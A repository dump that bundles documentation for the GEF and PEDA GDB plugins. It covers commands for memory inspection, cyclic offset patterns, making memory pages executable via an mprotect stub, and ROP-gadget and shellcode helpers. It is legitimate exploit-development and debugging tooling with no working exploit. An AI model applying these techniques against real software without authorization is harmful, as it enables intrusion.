``` 36 | gef➤ gef restore 37 | [+] Configuration from '/home/vagrant/.gef.rc' restored 38 | ``` 39 | 40 | You can then tweak this configuration outside your `gdb` session to suit your 41 | needs. 42 | -------------------------------------------------------------------------------- /gef/docs/commands/dereference.md: -------------------------------------------------------------------------------- 1 | ## Command dereference 2 | 3 | The `dereference` (also aliased `telescope` for PEDA former users) aims to 4 | simplify the dereferencing of an address in GDB to determine the content it 5 | actually points to. 6 | 7 | It is a useful convienence function to spare to process of manually tracking 8 | values with successive `x/x` in GDB. 9 | 10 | `dereference` can take one mandatory argument, an address (or symbol or 11 | register, etc) to dereference: 12 | 13 | ``` 14 | gef➤ dereference $sp 15 | 0x00007fffffffe258│+0x00: 0x0000000000400489 → hlt ← $rsp 16 | gef➤ telescope 0x7ffff7b9d8b9 17 | 0x00007ffff7b9d8b9│+0x00: 0x0068732f6e69622f ("/bin/sh"?) 18 | ``` 19 | 20 | It also optionally accepts a second argument, the number of consecutive 21 | addresses to dereference (by default, `1`). 22 | 23 | For example, if you want to dereference all the stack entries inside a function 24 | context (on a 64bit architecture): 25 | ``` 26 | gef➤ p ($rbp - $rsp)/8 27 | $3 = 4 28 | gef➤ dereference $rsp 5 29 | 0x00007fffffffe170│+0x00: 0x0000000000400690 → push r15 ← $rsp 30 | 0x00007fffffffe178│+0x08: 0x0000000000400460 → xor ebp, ebp 31 | 0x00007fffffffe180│+0x10: 0x00007fffffffe270 → 0x1 32 | 0x00007fffffffe188│+0x18: 0x1 33 | 0x00007fffffffe190│+0x20: 0x0000000000400690 → push r15 ← $rbp 34 | ``` 35 | -------------------------------------------------------------------------------- /peda/README: -------------------------------------------------------------------------------- 1 | PEDA - Python Exploit Development Assistance for GDB 2 | 3 | Version: 1.0 4 | 5 | Release: special public release, Black Hat USA 2012 6 | 7 | 0. Credits 8 | - Huy Phan (pdah) for reviewing code 9 | 10 | 1. Introduction 11 | PEDA is a Python GDB script with many handy commands to help speed up 12 | exploit development process on Linux/Unix. It is also a framework for 13 | writing custom interactive Python GDB commands. 14 | 15 | 2. Requirements 16 | - PEDA 1.0 is only support Linux 17 | - GDB 7.x 18 | - Python 2.6+ 19 | - Utilities: nasm, readelf, objdump 20 | 21 | 3. Installation 22 | - Download 23 | $ wget http://ropshell.com/peda/peda.tar.gz 24 | - Unpack to HOME directory 25 | $ tar zxvf peda.tar.gz 26 | - Append a line to ~/.gdbinit to load PEDA when GDB starts 27 | $ echo "source ~/peda/peda.py" >> ~/.gdbinit 28 | 29 | 4. Usage 30 | - List of available commands: 31 | gdb-peda$ peda help 32 | 33 | - Search for some commands: 34 | gdb-peda$ apropos 35 | gdb-peda$ help 36 | 37 | - Get usage manual of specific command: 38 | gdb-peda$ phelp 39 | gdb-peda$ help 40 | 41 | - Get/set config option: 42 | gdb-peda$ pshow option 43 | gdb-peda$ pset option 44 | 45 | 46 | -------------------------------------------------------------------------------- /gef/docs/commands/hexdump.md: -------------------------------------------------------------------------------- 1 | ## Command hexdump 2 | 3 | Gimmick of the WinDBG command. 4 | 5 | This command requires at least 2 arguments, the format for representing the 6 | data, and a value/address/symbol used as the location to print the hexdump 7 | from. An optional 3rd argument is used to specify the number of 8 | qword/dword/word/bytes to display. 9 | 10 | The command provides WinDBG compatible aliases by default: 11 | 12 | - `hexdump qword` -> `dq` 13 | - `hexdump dword` -> `dd` 14 | - `hexdump word` -> `dw` 15 | - `hexdump byte` -> `dc` 16 | 17 | `hexdump byte` will also try to display the ASCII character values if the byte 18 | is printable (similarly to the `hexdump -C` command on Linux). 19 | 20 | The syntax is as following: 21 | ``` 22 | hexdump (qword|dword|word|byte) LOCATION L[SIZE] [UP|DOWN] 23 | ``` 24 | 25 | Examples: 26 | 27 | * Display 4 QWORD from `$pc`: 28 | ``` 29 | gef➤ dq $pc l4 30 | 0x7ffff7a5c1c0+0000 │ 0x4855544155415641 31 | 0x7ffff7a5c1c0+0008 │ 0x0090ec814853cd89 32 | 0x7ffff7a5c1c0+0010 │ 0x377d6f058b480000 33 | 0x7ffff7a5c1c0+0018 │ 0x748918247c894800 34 | ``` 35 | 36 | * Display 32 bytes from a location in the stack: 37 | ``` 38 | gef➤ dc 0x00007fffffffe5e5 l32 39 | 0x00007fffffffe5e5 2f 68 6f 6d 65 2f 68 75 67 73 79 2f 63 6f 64 65 /home/hugsy/code 40 | 0x00007fffffffe5f5 2f 67 65 66 2f 74 65 73 74 73 2f 77 69 6e 00 41 /gef/tests/win.A 41 | ``` 42 | -------------------------------------------------------------------------------- /gef/docs/commands/unicorn-emulate.md: -------------------------------------------------------------------------------- 1 | ## Command unicorn-emulate ## 2 | 3 | If you have installed [`unicorn`](http://unicorn-engine.org) emulation engine 4 | and its Python bindings, `gef` integrates a new command to emulate instructions 5 | of your current debugging context ! 6 | 7 | This command, `unicorn-emulate` (or its alias `emulate`) will replicate for you 8 | the current memory mapping (including the page permissions), and by default 9 | (i.e. without any additional argument), it will emulate the execution of the 10 | instruction about to be executed (i.e. the one pointed by `$pc`) and display 11 | which register(s) is(are) tainted by it. 12 | 13 | Use `-h` for help 14 | ``` 15 | gef➤ emu -h 16 | ``` 17 | 18 | For example, the following command will execute only the next 2 instructions: 19 | ``` 20 | gef➤ emu -n 2 21 | ``` 22 | 23 | And showing this: 24 | ![emu](https://i.imgur.com/DmVH6o1.png) 25 | 26 | In this example, we can see that after executing 27 | ``` 28 | 0x80484db xor eax,eax 29 | 0x80484dd add esp,0x18 30 | ``` 31 | The registers `eax` and `esp` are tainted (modified). 32 | 33 | A convenient option is `-e /path/to/file.py` that will generate a pure Python 34 | script embedding your current execution context, ready to be re-used outside 35 | `gef`!! This can be useful for dealing with obfuscation or solve crackmes if 36 | powered with a SMT for instance. 37 | 38 | 39 | -------------------------------------------------------------------------------- /gef/docs/commands/set-permission.md: -------------------------------------------------------------------------------- 1 | ## Command set-permission ## 2 | 3 | 4 | This command was added to facilitate the exploitation process, by changing the 5 | permission rights on a specific page directly from the debugger. 6 | 7 | By default, `GDB` does not allow you to do that, so the command will modify a 8 | code section of the binary being debugged, and add a native mprotect syscall 9 | stub. For example, for an x86, the following stub will be inserted: 10 | 11 | ``` 12 | pushad 13 | mov eax, mprotect_syscall_num 14 | mov ebx, address_of_the_page 15 | mov ecx, size_of_the_page 16 | mov edx, permission_to_set 17 | int 0x80 18 | popad 19 | ``` 20 | 21 | A breakpoint is added following this stub, which when hit will restore the 22 | original context, allowing you to resume execution. 23 | 24 | `mprotect` is an alias for `set-permission`. As an example, to set the `stack` as 25 | READ|WRITE|EXECUTE on this binary, 26 | 27 | ![mprotect-before](https://i.imgur.com/RRYHxzW.png) 28 | 29 | Simply run 30 | 31 | ``` 32 | gef➤ mprotect 0xfffdd000 33 | ``` 34 | 35 | Et voilà ! `gef` will use the memory runtime information to correctly adjust the protection 36 | of the entire section. 37 | 38 | ![mprotect-after](https://i.imgur.com/9MvyQi8.png) 39 | 40 | Or for a full demo video on a PowerPC VM: 41 | [![asciicast](https://asciinema.org/a/54noulja01k3cgctawjeio8xl.png)](https://asciinema.org/a/54noulja01k3cgctawjeio8xl) 42 | 43 | -------------------------------------------------------------------------------- /gef/docs/commands/retdec.md: -------------------------------------------------------------------------------- 1 | ## Command retdec ## 2 | 3 | `gef` uses the RetDec decompilation Web API (https://retdec.com/decompilation) 4 | to decompile parts of or entire binary. The command, `retdec`, also has a 5 | default alias, `decompile` to make it easier to remember. 6 | 7 | To use the command, you need to provide `gef` a valid RetDec API key, available 8 | by registering [here](https://retdec.com/registration/) (free accounts). 9 | 10 | Then enter the key through the `gef config` command: 11 | ``` 12 | gef➤ gef config retdec.key 1234-1234-1234-1234 13 | ``` 14 | 15 | You can have `gef` save this key by saving the current configuration settings. 16 | ``` 17 | gef➤ gef save 18 | ``` 19 | 20 | `retdec` can be used in 3 modes: 21 | 22 | * By providing the option `-a`, `gef` will submit the entire binary being 23 | debugged to RetDec. For example, 24 | ``` 25 | gef➤ decompile -a 26 | ``` 27 | ![gef-retdec-full](https://i.imgur.com/PzBXf3U.png) 28 | 29 | * By providing the option `-r START:END`, `gef` will submit only the raw 30 | bytes contained within the range specified as argument. 31 | 32 | * By providing the option `-s SYMBOL`, `gef` will attempt to reach a specific 33 | function symbol, dump the function in a temporary file, and submit it to 34 | RetDec. For example, 35 | ``` 36 | gef➤ decompile -s main 37 | ``` 38 | ![gef-retdec-symbol-main](https://i.imgur.com/76Yl9iD.png) 39 | 40 | 41 | -------------------------------------------------------------------------------- /gef/docs/commands/theme.md: -------------------------------------------------------------------------------- 1 | ## Command theme 2 | 3 | Customize `GEF` by changing its aspect. 4 | 5 | ``` 6 | gef➤ theme 7 | context_title_message : red bold 8 | default_title_message : red bold 9 | default_title_line : green bold 10 | context_title_line : green bold 11 | disable_color : 0 12 | xinfo_title_message : blue bold 13 | ``` 14 | 15 | ### Changing colors 16 | 17 | You have the possibility to change the coloring properties of `GEF` display with 18 | the `theme` command. The command accepts 2 arguments, the name of the property 19 | to update, and its new coloring value. 20 | 21 | Colors can be one of the following: 22 | 23 | - red 24 | - green 25 | - blue 26 | - yellow 27 | - gray 28 | - pink 29 | 30 | Color also accepts the following attributes: 31 | 32 | - bold 33 | - underline 34 | - highlight 35 | - blink 36 | 37 | Any other will value simply be ignored. 38 | 39 | ``` 40 | gef➤ theme context_title_message blue bold foobar 41 | gef➤ theme 42 | context_title_message : blue bold 43 | default_title_message : red bold 44 | default_title_line : green bold 45 | context_title_line : green bold 46 | disable_color : 0 47 | xinfo_title_message : blue bold 48 | ``` 49 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask stuff: 57 | instance/ 58 | .webassets-cache 59 | 60 | # Scrapy stuff: 61 | .scrapy 62 | 63 | # Sphinx documentation 64 | docs/_build/ 65 | 66 | # PyBuilder 67 | target/ 68 | 69 | # IPython Notebook 70 | .ipynb_checkpoints 71 | 72 | # pyenv 73 | .python-version 74 | 75 | # celery beat schedule file 76 | celerybeat-schedule 77 | 78 | # dotenv 79 | .env 80 | 81 | # virtualenv 82 | venv/ 83 | ENV/ 84 | 85 | # Spyder project settings 86 | .spyderproject 87 | 88 | # Rope project settings 89 | .ropeproject 90 | -------------------------------------------------------------------------------- /gef/docs/commands/registers.md: -------------------------------------------------------------------------------- 1 | ## Command registers 2 | 3 | The `registers` command will dereference all the registers. It does not any 4 | argument. 5 | 6 | 7 | Example on a MIPS host: 8 | ``` 9 | gef> reg 10 | $zero : 0x00000000 11 | $at : 0x00000001 12 | $v0 : 0x7fff6cd8 -> 0x77e5e7f8 -> <__libc_start_main+200>: bnez v0,0x77e5e8a8 13 | $v1 : 0x77ff4490 14 | $a0 : 0x00000001 15 | $a1 : 0x7fff6d94 -> 0x7fff6e85 -> "/root/demo-mips" 16 | $a2 : 0x7fff6d9c -> 0x7fff6e91 -> "SHELL=/bin/bash" 17 | $a3 : 0x00000000 18 | $t0 : 0x77fc26a0 -> 0x0 19 | $t1 : 0x77fc26a0 -> 0x0 20 | $t2 : 0x77fe5000 -> "_dl_fini" 21 | $t3 : 0x77fe5000 -> "_dl_fini" 22 | $t4 : 0xf0000000 23 | $t5 : 0x00000070 24 | $t6 : 0x00000020 25 | $t7 : 0x7fff6bc8 -> 0x0 26 | $s0 : 0x00000000 27 | $s1 : 0x00000000 28 | $s2 : 0x00000000 29 | $s3 : 0x00500000 30 | $s4 : 0x00522f48 31 | $s5 : 0x00522608 32 | $s6 : 0x00000000 33 | $s7 : 0x00000000 34 | $t8 : 0x0000000b 35 | $t9 : 0x004008b0 ->
: addiu sp,sp,-32 36 | $k0 : 0x00000000 37 | $k1 : 0x00000000 38 | $s8 : 0x00000000 39 | $status : 0x0000a413 40 | $badvaddr : 0x77e7a874 -> <__cxa_atexit>: lui gp,0x15 41 | $cause : 0x10800024 42 | $pc : 0x004008c4 -> : li v0,2 43 | $sp : 0x7fff6ca0 -> 0x77e4a834 -> 0x29bd 44 | $hi : 0x000001a5 45 | $lo : 0x00005e17 46 | $fir : 0x00739300 47 | $fcsr : 0x00000000 48 | $ra : 0x77e5e834 -> <__libc_start_main+260>: lw gp,16(sp) 49 | $gp : 0x00418b20 50 | ``` 51 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GdbPlugins 2 | ------- 3 | 4 | 5 | | subtree | 描述 | 6 | |:-------:|:-----:| 7 | | gdbinit | https://github.com/gdbinit/Gdbinit | 8 | | gef | https://github.com/hugsy/gef | 9 | | peda | https://github.com/longld/peda | 10 | 11 | 12 | 本系统为gdbinit, gef, peda 等工具, 通过 `git subtree` 方式构建 13 | 14 | 使用git remote add 在A项目中添加子项目B的简称(可选)。 15 | 16 | ```cpp 17 | 语法:git remote add -f <子仓库名> <子仓库地址> 18 | 19 | 解释:其中-f意思是在添加远程仓库之后,立即执行fetch 20 | ``` 21 | 22 | 使用git subtree add 在A项目中首次添加目录引用。 23 | 24 | ```cpp 25 | 语法:git subtree add --prefix=<子目录名> <子仓库名> <分支> --squash 26 | 27 | 解释:--squash意思是把subtree的改动合并成一次commit,这样就不用拉取子项目完整的历史记录。--prefix之后的=等号也可以用空格。 28 | ``` 29 | 30 | 子项目B提交后,在A项目中使用git subtree pull拉取子项目B项目中的更新。 31 | 32 | 33 | #1 gdbinit 34 | ------- 35 | 36 | 添加 37 | 38 | ```cpp 39 | git remote add -f gdbinit git@github.com:gdbinit/Gdbinit.git 40 | git subtree add --prefix=gdbinit gdbinit master --squash 41 | ``` 42 | 43 | 更新 44 | ```cpp 45 | git subtree pull --prefix=gdbinit git@github.com:gdbinit/Gdbinit.git master --squash 46 | ``` 47 | 48 | #2 gef 49 | ------- 50 | ```cpp 51 | git remote add -f gef git@github.com:hugsy/gef.git 52 | git subtree add --prefix=gef gef master --squash 53 | ``` 54 | 55 | 更新 56 | ```cpp 57 | git subtree pull --prefix=gef git@github.com:hugsy/gef.git master --squash 58 | ``` 59 | 60 | #3 peda 61 | ------- 62 | 63 | 64 | 添加  65 | ```cpp 66 | git remote add -f peda git@github.com:longld/peda.git 67 | git subtree add --prefix=peda peda master -squash 68 | ``` 69 | 70 | 71 | 更新 72 | 73 | ```cpp 74 | git subtree pull --prefix=peda git@github.com:longld/peda.git master --squash 75 | ``` 76 | -------------------------------------------------------------------------------- /gef/docs/commands/pattern.md: -------------------------------------------------------------------------------- 1 | ## Command pattern 2 | 3 | This command will create or search 4 | a [De Bruijn](https://en.wikipedia.org/wiki/De_Bruijn_sequence) cyclic pattern 5 | to facilitate determining finding offsets in memory. 6 | 7 | It should be noted that for better compatibility, the algorithm implemented in 8 | `GEF` is the same as the one in `pwntools`, and can therefore be used in 9 | conjunction. 10 | 11 | ### create 12 | 13 | The sub-command `create` allows to create a new pattern: 14 | 15 | ``` 16 | gef➤ pattern create 128 17 | [+] Generating a pattern of 128 bytes 18 | aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab 19 | [+] Saved as '$_gef0' 20 | ``` 21 | 22 | Ths pattern can be used as as input later on. To generate this input, `GEF` 23 | takes into account the size of architecture (16, 32 or 64 bits), to generate 24 | it. 25 | 26 | The equivalent command with `pwntools` is 27 | ```python 28 | from pwn import * 29 | p = cyclic(128, n=8) 30 | ``` 31 | where `n` is the number of bytes of the architecture (8 for 64 bits, 4 for 32). 32 | 33 | 34 | ### search 35 | 36 | The `search` sub-command seeks the value given as argument, trying to find it in 37 | the De Bruijn sequence 38 | ``` 39 | gef➤ pattern search 0x6161616161616167 40 | [+] Searching '0x6161616161616167' 41 | [+] Found at offset 48 (little-endian search) likely 42 | [+] Found at offset 41 (big-endian search) 43 | ``` 44 | 45 | Note that registers can also be passed as values: 46 | ``` 47 | gef➤ pattern search $rbp 48 | [+] Searching '$rbp' 49 | [+] Found at offset 32 (little-endian search) likely 50 | [+] Found at offset 25 (big-endian search) 51 | ``` 52 | -------------------------------------------------------------------------------- /gef/.github/PULL_REQUEST_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | ## Descriptive title of your patch ## 2 | 3 | ### Description ### 4 | 5 | 6 | 7 | ### Related Issue ### 8 | 9 | https://github.com/hugsy/gef/issues/XX 10 | 11 | 12 | ### Motivation and Context ### 13 | 14 | 15 | 16 | 17 | 18 | ### How Has This Been Tested? ### 19 | 20 | Has this patch been tested on (example) 21 | 22 | | Architecture | Yes/No | Comments | 23 | |--------------|:------------------------:|------------------------| 24 | | x86-32 | :heavy_check_mark: | rock'n roll | 25 | | x86-64 | :heavy_multiplication_x: | | 26 | | ARM | :heavy_check_mark: | | 27 | | AARCH64 | :heavy_multiplication_x: | | 28 | | MIPS | :heavy_check_mark: | | 29 | | POWERPC | :heavy_check_mark: | | 30 | | SPARC | :heavy_multiplication_x: | Who uses SPARC anyway? | 31 | 32 | 33 | ### Screenshots (if applicable) ### 34 | 35 | 36 | 37 | 38 | ### Types of changes ### 39 | 40 | 41 | - [ ] Bug fix (non-breaking change which fixes an issue) 42 | - [ ] New feature (non-breaking change which adds functionality) 43 | - [ ] Breaking change (fix or feature that would cause existing functionality to change) 44 | 45 | ### Checklist ### 46 | 47 | 48 | - [ ] My code follows the code style of this project. 49 | - [ ] My change requires a change to the documentation. 50 | - [ ] I have updated the documentation accordingly. 51 | - [ ] I have read and agree to the **CONTRIBUTING** document. 52 | -------------------------------------------------------------------------------- /gef/tests/helpers.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | 3 | def gdb_run_command(cmd, before=[], after=[]): 4 | """Execute a command inside GDB. `before` and `after` are lists of commands to be executed 5 | before (resp. after) the command to test.""" 6 | command = ["gdb", "-q", "-nx", "-ex", "source /tmp/gef.py", "-ex", "gef config gef.debug True"] 7 | 8 | if len(before): 9 | for _ in before: command+= ["-ex", _] 10 | 11 | command += ["-ex", cmd] 12 | 13 | if len(after): 14 | for _ in after: command+= ["-ex", _] 15 | 16 | command+= ["-ex", "quit", "--", "/bin/ls"] 17 | lines = subprocess.check_output(command, stderr=subprocess.STDOUT).strip().splitlines() 18 | return "\n".join(lines) 19 | 20 | 21 | def gdb_run_command_last_line(cmd, before=[], after=[]): 22 | """Execute a command in GDB, and return only the last line of its output.""" 23 | return gdb_run_command(cmd, before, after).splitlines()[-1] 24 | 25 | 26 | def gdb_start_silent_command(cmd, before=[], after=[]): 27 | """Execute a command in GDB by starting an execution context. This command disables the `context` 28 | and set a tbreak at the most convenient entry point.""" 29 | before += ["gef config context.clear_screen False", 30 | "gef config context.layout ''", 31 | "entry-break"] 32 | return gdb_run_command(cmd, before, after) 33 | 34 | 35 | def gdb_start_silent_command_last_line(cmd, before=[], after=[]): 36 | """Execute `gdb_start_silent_command()` and return only the last line of its output.""" 37 | before += ["gef config context.clear_screen False", 38 | "gef config context.layout ''", 39 | "entry-break"] 40 | return gdb_start_silent_command(cmd, before, after).splitlines()[-1] 41 | 42 | 43 | def gdb_test_python_method(meth, before="", after=""): 44 | cmd = "pi {}print({});{}".format(before+";" if len(before)>0 else "", meth, after) 45 | return gdb_start_silent_command(cmd) 46 | -------------------------------------------------------------------------------- /peda/README.md: -------------------------------------------------------------------------------- 1 | peda 2 | ==== 3 | 4 | PEDA - Python Exploit Development Assistance for GDB 5 | 6 | ## Key Features: 7 | * Enhance the display of gdb: colorize and display disassembly codes, registers, memory information during debugging. 8 | * Add commands to support debugging and exploit development (for a full list of commands use `peda help`): 9 | * `aslr` -- Show/set ASLR setting of GDB 10 | * `checksec` -- Check for various security options of binary 11 | * `dumpargs` -- Display arguments passed to a function when stopped at a call instruction 12 | * `dumprop` -- Dump all ROP gadgets in specific memory range 13 | * `elfheader` -- Get headers information from debugged ELF file 14 | * `elfsymbol` -- Get non-debugging symbol information from an ELF file 15 | * `lookup` -- Search for all addresses/references to addresses which belong to a memory range 16 | * `patch` -- Patch memory start at an address with string/hexstring/int 17 | * `pattern` -- Generate, search, or write a cyclic pattern to memory 18 | * `procinfo` -- Display various info from /proc/pid/ 19 | * `pshow` -- Show various PEDA options and other settings 20 | * `pset` -- Set various PEDA options and other settings 21 | * `readelf` -- Get headers information from an ELF file 22 | * `ropgadget` -- Get common ROP gadgets of binary or library 23 | * `ropsearch` -- Search for ROP gadgets in memory 24 | * `searchmem|find` -- Search for a pattern in memory; support regex search 25 | * `shellcode` -- Generate or download common shellcodes. 26 | * `skeleton` -- Generate python exploit code template 27 | * `vmmap` -- Get virtual mapping address ranges of section(s) in debugged process 28 | * `xormem` -- XOR a memory region with a key 29 | 30 | ## Installation 31 | 32 | git clone https://github.com/longld/peda.git ~/peda 33 | echo "source ~/peda/peda.py" >> ~/.gdbinit 34 | echo "DONE! debug your program with gdb and enjoy" 35 | 36 | ## Screenshot 37 | ![start](http://i.imgur.com/P1BF5mp.png) 38 | 39 | ![pattern arg](http://i.imgur.com/W97OWRC.png) 40 | 41 | ![patts](http://i.imgur.com/Br24IpC.png) 42 | -------------------------------------------------------------------------------- /gef/mkdocs.yml: -------------------------------------------------------------------------------- 1 | site_name: GEF - GDB Enhanced Features documentation 2 | theme: readthedocs 3 | pages: 4 | - [index.md, Home] 5 | - [config.md, Configuration] 6 | - [faq.md, Frequently Asked Questions] 7 | - [commands.md, Features] 8 | - [commands/aliases.md, Command aliases] 9 | - [commands/aslr.md, Command aslr] 10 | - [commands/assemble.md, Command assemble] 11 | - [commands/canary.md, Command canary] 12 | - [commands/capstone-disassemble.md, Command capstone-disassemble] 13 | - [commands/checksec.md, Command checksec] 14 | - [commands/config.md, Command config] 15 | - [commands/context.md, Command context] 16 | - [commands/dereference.md, Command dereference] 17 | - [commands/edit-flags.md, Command edit-flags] 18 | - [commands/elf-info.md, Command elf-info] 19 | - [commands/entry-break.md, Command entry-break] 20 | - [commands/format-string-helper.md, Command format-string-helper] 21 | - [commands/gef-remote.md, Command gef-remote] 22 | - [commands/heap.md, Command heap] 23 | - [commands/help.md, Command help] 24 | - [commands/hexdump.md, Command hexdump] 25 | - [commands/hijack-fd.md, Command hijack-fd] 26 | - [commands/ida-interact.md, Command ida-interact] 27 | - [commands/ksymaddr.md, Command ksymaddr] 28 | - [commands/nop.md, Command nop] 29 | - [commands/patch.md, Command patch] 30 | - [commands/pattern.md, Command pattern] 31 | - [commands/pcustom.md, Command pcustom] 32 | - [commands/process-status.md, Command process-status] 33 | - [commands/process-search.md, Command process-search] 34 | - [commands/registers.md, Command registers] 35 | - [commands/reset-cache.md, Command reset-cache] 36 | - [commands/retdec.md, Command retdec] 37 | - [commands/ropgadget.md, Command ropgadget] 38 | - [commands/ropper.md, Command ropper] 39 | - [commands/search-pattern.md, Command search-pattern] 40 | - [commands/set-permission.md, Command set-permission] 41 | - [commands/shellcode.md, Command shellcode] 42 | - [commands/theme.md, Command theme] 43 | - [commands/tmux-setup.md, Command tmux-setup] 44 | - [commands/trace-run.md, Command trace-run] 45 | - [commands/unicorn-emulate.md, Command unicorn-emulate] 46 | - [commands/vmmap.md, Command vmmap] 47 | - [commands/xfiles.md, Command xfiles] 48 | - [commands/xinfo.md, Command xinfo] 49 | - [commands/xor-memory.md, Command xor-memory] 50 | -------------------------------------------------------------------------------- /gef/docs/commands/process-search.md: -------------------------------------------------------------------------------- 1 | ## Command process-search 2 | 3 | `process-search` (aka `ps`) is a convenience command to list and filter process 4 | on the host. It is aimed at making the debugging process a little easier when 5 | targeting forking process (such as tcp/listening daemon that would fork upon new 6 | connection). 7 | 8 | Without argument, it will return all processes reachable by user: 9 | ``` 10 | gef➤ ps 11 | 1 root 0.0 0.4 ? /sbin/init 12 | 2 root 0.0 0.0 ? [kthreadd] 13 | 3 root 0.0 0.0 ? [ksoftirqd/0] 14 | 4 root 0.0 0.0 ? [kworker/0:0] 15 | 5 root 0.0 0.0 ? [kworker/0:0H] 16 | 6 root 0.0 0.0 ? [kworker/u2:0] 17 | 7 root 0.0 0.0 ? [rcu_sched] 18 | 8 root 0.0 0.0 ? [rcuos/0] 19 | 9 root 0.0 0.0 ? [rcu_bh] 20 | 10 root 0.0 0.0 ? [rcuob/0] 21 | 11 root 0.0 0.0 ? [migration/0] 22 | [...] 23 | ``` 24 | 25 | Or to filter with pattern: 26 | ``` 27 | gef➤ ps bash 28 | 22590 vagrant 0.0 0.8 pts/0 -bash 29 | ``` 30 | 31 | `ps` also accepts options: 32 | 33 | * `-s` (for `smart`) will discard a number of process (belonging to different 34 | user, pattern used as an argument and not command, etc.) 35 | * `-a` (for `attach`) will automatically attach to the first process found 36 | 37 | So, for example, if your targeted process is called `/home/foobar/plop`, but the 38 | existing instance is used through `socat`, like 39 | 40 | ``` 41 | $ socat tcp-l:1234,fork,reuseaddr exec:/home/foobar/plop 42 | ``` 43 | 44 | Every time a new connection is opened to tcp/1234, `plop` will be forked, and 45 | `gef` can easily attach to it with the command 46 | 47 | ``` 48 | gef➤ ps -as plop 49 | ``` 50 | -------------------------------------------------------------------------------- /gef/docs/commands/gef-remote.md: -------------------------------------------------------------------------------- 1 | ## Command gef-remote ## 2 | 3 | It is possible to use `gef` in a remote debugging environment. Required files 4 | will be automatically downloaded and cached in a temporary directory (`/tmp/gef` on most 5 | Unix systems). Remember to manually delete the cache if you change the target file or 6 | `gef` will use the outdated version. 7 | 8 | 9 | ### With a local copy ### 10 | 11 | If you want to remotely debug a binary that you already have, you simply need to 12 | specify to `gdb` where to find the debug information. 13 | 14 | For example, if we want to debug `uname`, we do on the server: 15 | ``` 16 | $ gdbserver 0.0.0.0:1234 /bin/uname 17 | Process /bin/uname created; pid = 32280 18 | Listening on port 1234 19 | ``` 20 | ![](https://i.imgur.com/Zc4vnBd.png) 21 | 22 | And on the client, simply run `gdb`: 23 | ``` 24 | $ gdb /bin/uname 25 | gef➤ target remote 192.168.56.1:1234 26 | Process /bin/uname created; pid = 10851 27 | Listening on port 1234 28 | ``` 29 | Or 30 | ``` 31 | $ gdb 32 | gef➤ file /bin/uname 33 | gef➤ target remote 192.168.56.1:1234 34 | ``` 35 | 36 | 37 | ### Without a local copy ### 38 | 39 | It is possible to use `gdb` internal functions to copy our targeted binary. 40 | 41 | In the following of our previous, if we want to debug `uname`, run `gdb` and 42 | connect to our `gdbserver`. To be able to locate the right process in the `/proc` 43 | structure, the command `gef-remote` requires 1 argument, the target host and port. 44 | The option `-p` must be provided and indicate the process PID on the remote 45 | host, only if the extended mode (`-E`) is being used. 46 | 47 | ``` 48 | $ gdb 49 | gef➤ gef-remote 192.168.56.1:1234 50 | [+] Connected to '192.168.56.1:1234' 51 | [+] Downloading remote information 52 | [+] Remote information loaded, remember to clean '/tmp/gef/10851' when your session is over 53 | ``` 54 | 55 | As you can observe, if it cannot find the debug information, `gef` will try to download 56 | automatically the target file and store in the local temporary directory (on 57 | most Unix `/tmp`). If successful, it will then automatically load the debug 58 | information to `gdb` and proceed with the debugging. 59 | 60 | ![gef-remote-autodownload](https://i.imgur.com/8JHpOTV.png) 61 | 62 | You can then reuse the downloaded file for your future debugging sessions, use it under IDA 63 | and such. This makes the entire remote debugging process (particularly for Android applications) 64 | a child game. 65 | 66 | -------------------------------------------------------------------------------- /gef/docs/commands/aliases.md: -------------------------------------------------------------------------------- 1 | ## Command aliases 2 | 3 | List the aliases defined by `GEF`. 4 | 5 | ``` 6 | gef➤ aliases 7 | [+] Aliases defined: 8 | fmtstr-helper → format-string-helper 9 | telescope → dereference 10 | dps → dereference 11 | dq → hexdump qword 12 | dd → hexdump dword 13 | dw → hexdump word 14 | dc → hexdump byte 15 | cs-dis → capstone-disassemble 16 | ctx → context 17 | start-break → entry-break 18 | ps → process-search 19 | [...] 20 | ``` 21 | 22 | ### Creating/deleting aliases 23 | 24 | `GEF` defines its own aliasing mechanism, which overrides the traditional 25 | alias that GDB provides thought the built-in command `alias`. 26 | 27 | Users can create/modify/delete by editing the `GEF` configuration file, located 28 | at `~/.gef.rc`. The aliases must be in the "`aliases`" section of the 29 | configuration file. 30 | 31 | Creating a new alias is as simple as creating a new entry in this section: 32 | 33 | ``` 34 | $ nano ~/.gef.rc 35 | [...] 36 | [aliases] 37 | my-new-alias = gdb-or-gef-command 38 | ``` 39 | 40 | #### Bringing some PEDA and WinDBG flavours into GEF 41 | 42 | For example, for those (like me) who use WinDBG and like its bindings, they can 43 | be integrated into GDB via GEF aliases like this: 44 | 45 | ``` 46 | $ nano ~/.gef.rc 47 | [...] 48 | [aliases] 49 | # some windbg aliases 50 | dps = dereference 51 | dq = hexdump qword 52 | dd = hexdump dword 53 | dw = hexdump word 54 | dc = hexdump byte 55 | dt = pcustom 56 | bl = info breakpoints 57 | bp = break 58 | be = enable breakpoints 59 | bd = disable breakpoints 60 | bc = delete breakpoints 61 | 